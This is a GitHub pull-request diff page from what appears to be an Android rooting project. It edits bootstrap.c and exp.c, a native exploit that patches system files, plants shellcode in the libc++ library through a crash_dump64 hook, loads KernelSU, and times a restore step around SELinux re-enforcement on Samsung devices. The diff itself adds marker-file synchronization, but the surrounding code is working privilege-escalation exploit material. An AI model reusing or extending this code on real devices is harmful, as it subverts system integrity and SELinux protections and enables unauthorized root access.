Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 15 additions & 4 deletions app/src/main/jni/bootstrap.c
Original file line number Diff line number Diff line change
Expand Up @@ -9,10 +9,12 @@
#include <unistd.h>

#define BLKROSET 0x125d
#define KSUD_STAGE "/data/user_de/0/df.root/ksud"
#define APP_DATA "/data/user_de/0/df.root"
#define KSUD_STAGE APP_DATA "/ksud"
#define KSUD "/data/adb/ksud"
#define PREFS_PATH "/data/user_de/0/df.root/shared_prefs/dfroot.xml"
#define PREFS_PATH APP_DATA "/shared_prefs/dfroot.xml"
#define MODULES_DIR "/data/adb/modules"
#define CXX_RESTORED APP_DATA "/cxx_restored"

static int pref_true(const char *buf, const char *key)
{
Expand Down Expand Up @@ -219,7 +221,16 @@ int main(void)
}
}

touch("/dev/dfm5");
/* The app restores the libc++ page cache before ksud loads kernelsu.ko,
* whose init re-enforces SELinux - Samsung denies the restore under
* enforcing. Cap the wait at ~10s: a dead app cannot stall the flow. */
for (int i = 0; i < 100; i++) {
if (access(CXX_RESTORED, F_OK) == 0)
break;
usleep(100000);
}

touch("/dev/dfm5");
if (run_ctx(NULL, (char *[]){ KSUD_STAGE, "late-load", "--package-name", su_manager, NULL }) == 0) {
touch("/dev/dfm6");
if (soft_reboot) {
Expand All @@ -229,6 +240,6 @@ int main(void)
} else {
touch("/dev/dfme2");
}

return 0;
}
21 changes: 20 additions & 1 deletion app/src/main/jni/exp.c
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
#include "aes256.h"

#define eos(s) (s + strlen(s))
#define CXX_RESTORED "/data/user_de/0/df.root/cxx_restored"

static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64";
static char *libcxx_ko_target;
Expand Down Expand Up @@ -390,6 +391,7 @@ static void cleanup(void) {
printf("restoring shellcode in %s\n", g_libcxx_r.lib);
patch_file_cbc(g_libcxx_r.lib, g_libcxx_r.shell_orig, g_libcxx_r.shell_padded,
(size_t)g_libcxx_r.shell_off, 0);
g_libcxx_r.valid = 0;
}

int find_hook_target(const char *lib, const char *sym,
Expand Down Expand Up @@ -540,6 +542,10 @@ static int setup(int argc, char **argv) {
static int exploit(void) {
printf("\n=== exploit (patching files) ===\n");

/* Drop a stale cxx_restored - it would let bootstrap skip its wait.
* No race: bootstrap is only spawned later, by the hook. */
unlink(CXX_RESTORED);

int rc = 3;
if (patch_helper()) goto done;
if (patch_ko()) goto done;
Expand All @@ -550,7 +556,7 @@ static int exploit(void) {

rc = 2;
usleep(500000);

printf("\n=== init ===\n");
createOrphanProcess();

Expand Down Expand Up @@ -584,6 +590,19 @@ static int exploit(void) {
if (markers[j].rc >= 0) { rc = markers[j].rc; goto done; }
}
}
/* dfm1 means bootstrap is running. Restore while still permissive:
* kernelsu.ko's init re-enforces SELinux, and Samsung denies the
* restore under enforcing. bootstrap waits for cxx_restored. */
if (g_libcxx_r.valid && access("/dev/dfm1", F_OK) == 0) {
cleanup();
/* The app cannot write /dev (DAC), so cxx_restored lives in its
* own data dir, which bootstrap already reads (prefs, ksud). */
int fd = open(CXX_RESTORED, O_CREAT | O_WRONLY, 0666);
if (fd < 0)
printf("libc++: ERROR - cannot create cxx_restored\n");
else
close(fd);
}
}
printf("timeout: ERROR - check logcat & dmesg\n");
done:
Expand Down
Loading